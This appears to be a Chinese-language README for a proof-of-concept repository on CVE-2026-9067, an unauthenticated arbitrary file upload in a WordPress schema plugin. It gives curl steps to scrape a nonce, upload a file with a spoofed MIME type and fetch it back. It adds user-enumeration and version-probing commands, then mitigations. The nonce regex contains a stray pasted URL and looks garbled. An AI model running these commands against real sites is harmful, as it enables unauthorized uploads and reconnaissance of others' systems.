针对WordPress安全测试环境中发现的漏洞的文档和利用工具。
| CVE ID | 插件 | 严重性 | 类型 | 状态 |
|---|---|---|---|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | 高 (8.1) | 任意文件上传 | 已记录 |
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-9067 |
| 插件 | Schema & Structured Data for WP & AMP |
| 受影响版本 | < 1.60 |
| CWE | CWE-434(危险类型文件的不受限制上传) |
| CVSS v3.1 | 8.1(高) |
| 发现者 | 0xBassia |
插件 Schema & Structured Data for WP & AMP 在 1.60 版本之前,未验证 AJAX 处理程序中用于文件上传的用户权限,也未验证上传的文件类型。这使得未认证的攻击者可以上传任意文件。
重要提示:WordPress 核心会阻止可执行文件(.php、.phtml、.html、.svg),因此该漏洞不存在直接的 RCE 路径。
CVE-2026-9067/
├── CVE-2026-9067.md # 完整文档(本文件)
├── CVE-2026-9067.py # 带有多线程功能的 Python 利用脚本
├── CVE-2026-9067.sh # Bash/Shell PoC 脚本
└── CVE-2026-9067_exploit.sh # 替代 Bash PoC 脚本
# 步骤 1:获取 nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# 步骤 2:上传任意文件
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# 步骤 3:访问上传的文件
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
| 字段 | 值 |
|---|---|
| 目标 URL | https://yorbit7.ddev.site |
| PHP 版本 | 8.4 |
| 数据库 | MariaDB 11.8 |
| WordPress 版本 | 7.0 |
| 测试方法 | 基于 curl(黑盒测试) |
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
DISALLOW_FILE_MODIFICATIONS 常量.htaccess 禁止在 uploads 目录中执行 PHP